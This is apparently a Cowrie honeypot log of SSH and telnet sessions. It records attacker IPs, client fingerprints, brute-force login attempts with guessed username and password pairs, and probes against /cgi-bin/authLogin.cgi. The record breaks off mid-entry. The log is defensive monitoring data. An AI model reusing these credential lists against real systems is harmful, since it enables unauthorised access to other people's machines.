{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":49622,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd4f06617f2","protocol":"ssh","message":"New connection: 91.92.40.176:49622 (10.17.0.5:22) [session: 5fd4f06617f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:04.748197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:04.767976Z","src_ip":"91.92.40.176","session":"5fd4f06617f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:04.841987Z","src_ip":"91.92.40.176","session":"5fd4f06617f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123","message":"login attempt [user/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:05.156298Z","src_ip":"91.92.40.176","session":"5fd4f06617f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:06.239637Z","src_ip":"91.92.40.176","session":"5fd4f06617f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":5618,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e514a2302d","protocol":"ssh","message":"New connection: 38.93.206.2:5618 (10.17.0.5:22) [session: 75e514a2302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:15.025646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:15.029293Z","src_ip":"38.93.206.2","session":"75e514a2302d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:15.078112Z","src_ip":"38.93.206.2","session":"75e514a2302d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magicman","message":"login attempt [root/magicman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:15.230304Z","src_ip":"38.93.206.2","session":"75e514a2302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:16.293772Z","src_ip":"38.93.206.2","session":"75e514a2302d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.93.157","src_port":55948,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64f576b2ad6","protocol":"telnet","message":"New connection: 64.226.93.157:55948 (159.203.135.109:23) [session: c64f576b2ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.396534Z"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.400697Z","src_ip":"64.226.93.157","session":"c64f576b2ad6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.403717Z","src_ip":"64.226.93.157","session":"c64f576b2ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09327363967895508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.489673Z","src_ip":"64.226.93.157","session":"c64f576b2ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.93.157","src_port":55960,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c15747aa08","protocol":"telnet","message":"New connection: 64.226.93.157:55960 (159.203.135.109:23) [session: a1c15747aa08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.561917Z"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.567491Z","src_ip":"64.226.93.157","session":"a1c15747aa08","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.570844Z","src_ip":"64.226.93.157","session":"a1c15747aa08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0918271541595459,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.653630Z","src_ip":"64.226.93.157","session":"a1c15747aa08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.93.157","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f5a679b16f","protocol":"telnet","message":"New connection: 64.226.93.157:55972 (159.203.135.109:23) [session: 01f5a679b16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.737745Z"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.743227Z","src_ip":"64.226.93.157","session":"01f5a679b16f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.747121Z","src_ip":"64.226.93.157","session":"01f5a679b16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09771847724914551,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:25.835324Z","src_ip":"64.226.93.157","session":"01f5a679b16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"5631cf6a8867","protocol":"telnet","message":"New connection: 107.6.151.170:60288 (159.203.135.109:23) [session: 5631cf6a8867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:30.610974Z"}
{"eventid":"cowrie.session.closed","duration":120.00314927101135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:32.290604Z","src_ip":"107.6.151.170","session":"867525ed6f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37382,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab5bd35a3ca","protocol":"telnet","message":"New connection: 170.64.224.25:37382 (159.203.135.109:23) [session: 0ab5bd35a3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:39.679456Z"}
{"eventid":"cowrie.session.closed","duration":15.741121053695679,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:54:55.420465Z","src_ip":"170.64.224.25","session":"0ab5bd35a3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.10158681869507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:03.712454Z","src_ip":"107.6.151.170","session":"5631cf6a8867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":59692,"dst_ip":"159.203.135.109","dst_port":22,"session":"160f56f78874","protocol":"ssh","message":"New connection: 31.179.197.26:59692 (159.203.135.109:22) [session: 160f56f78874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:07.696618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:07.700897Z","src_ip":"31.179.197.26","session":"160f56f78874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:07.804491Z","src_ip":"31.179.197.26","session":"160f56f78874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oud","password":"oud","message":"login attempt [oud/oud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:08.254407Z","src_ip":"31.179.197.26","session":"160f56f78874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:09.361050Z","src_ip":"31.179.197.26","session":"160f56f78874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":60370,"dst_ip":"159.203.135.109","dst_port":22,"session":"942c79d77ce7","protocol":"ssh","message":"New connection: 166.62.89.133:60370 (159.203.135.109:22) [session: 942c79d77ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:10.080783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:10.084776Z","src_ip":"166.62.89.133","session":"942c79d77ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:10.150132Z","src_ip":"166.62.89.133","session":"942c79d77ce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockfilending","password":"blockfi123","message":"login attempt [blockfilending/blockfi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:10.344758Z","src_ip":"166.62.89.133","session":"942c79d77ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:11.411742Z","src_ip":"166.62.89.133","session":"942c79d77ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":41000,"dst_ip":"10.17.0.5","dst_port":22,"session":"663db67acad6","protocol":"ssh","message":"New connection: 190.244.39.224:41000 (10.17.0.5:22) [session: 663db67acad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:36.362310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:36.366159Z","src_ip":"190.244.39.224","session":"663db67acad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:36.537997Z","src_ip":"190.244.39.224","session":"663db67acad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#$","message":"login attempt [root/admin123!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:37.242671Z","src_ip":"190.244.39.224","session":"663db67acad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:38.410652Z","src_ip":"190.244.39.224","session":"663db67acad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":59560,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f060b543ba","protocol":"ssh","message":"New connection: 103.248.120.6:59560 (10.17.0.5:22) [session: 05f060b543ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:39.211427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:39.215398Z","src_ip":"103.248.120.6","session":"05f060b543ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:39.438477Z","src_ip":"103.248.120.6","session":"05f060b543ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123123","message":"login attempt [root/Xx123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:40.366297Z","src_ip":"103.248.120.6","session":"05f060b543ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:55:41.592728Z","src_ip":"103.248.120.6","session":"05f060b543ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9174999b8a","protocol":"ssh","message":"New connection: 91.92.40.176:42038 (10.17.0.5:22) [session: cd9174999b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:20.020587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:20.023515Z","src_ip":"91.92.40.176","session":"cd9174999b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 